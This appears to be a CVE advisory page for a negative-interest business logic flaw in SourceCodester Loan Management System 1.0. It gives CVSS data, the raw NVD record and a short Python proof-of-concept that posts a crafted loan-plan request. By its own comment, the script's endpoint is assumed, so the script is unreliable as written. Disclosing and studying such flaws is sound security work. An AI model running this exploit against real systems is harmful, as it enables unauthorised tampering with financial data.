Security Vulnerability Report
中文
CVE-2026-30521 CVSS 6.5 MEDIUM

CVE-2026-30521

Published: 2026-03-31 19:16:26
Last Modified: 2026-04-02 15:16:37

Description

A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to improper server-side validation. The application allows administrators to create "Loan Plans" with specific interest rates. While the frontend interface prevents users from entering negative numbers, this constraint is not enforced on the backend. An authenticated attacker can bypass the client-side restriction by manipulating the HTTP POST request to submit a negative value for the interest_percentage. This results in the creation of loan plans with negative interest rates.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Loan Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_negative_interest(target_url, session_cookie): """ PoC for CVE-2026-30521 Demonstrates creating a loan plan with a negative interest rate by bypassing client-side validation. """ # Endpoint for creating a loan plan (assumed based on description) endpoint = f"{target_url}/loan_management_system/classes/Loan_plan.php?f=save" headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload attempting to create a plan with -5% interest payload = { "plan_name": "Negative Interest Plan", "interest_percentage": -5, "penalty_rate": 2 } try: response = requests.post(endpoint, headers=headers, data=payload) if response.status_code == 200 and "success" in response.text.lower(): return "[+] Exploit successful: Negative interest plan created." else: return f"[-] Exploit failed. Status: {response.status_code}, Response: {response.text}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # print(exploit_negative_interest("http://target-ip", "valid_session_id"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30521", "sourceIdentifier": "[email protected]", "published": "2026-03-31T19:16:25.753", "lastModified": "2026-04-02T15:16:36.773", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to improper server-side validation. The application allows administrators to create \"Loan Plans\" with specific interest rates. While the frontend interface prevents users from entering negative numbers, this constraint is not enforced on the backend. An authenticated attacker can bypass the client-side restriction by manipulating the HTTP POST request to submit a negative value for the interest_percentage. This results in the creation of loan plans with negative interest rates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7902576E-876D-4BE4-8EF6-28B7403B130D"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Loan-Management-System/BusinessLogic-LoanPlan-NegativeInterest.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}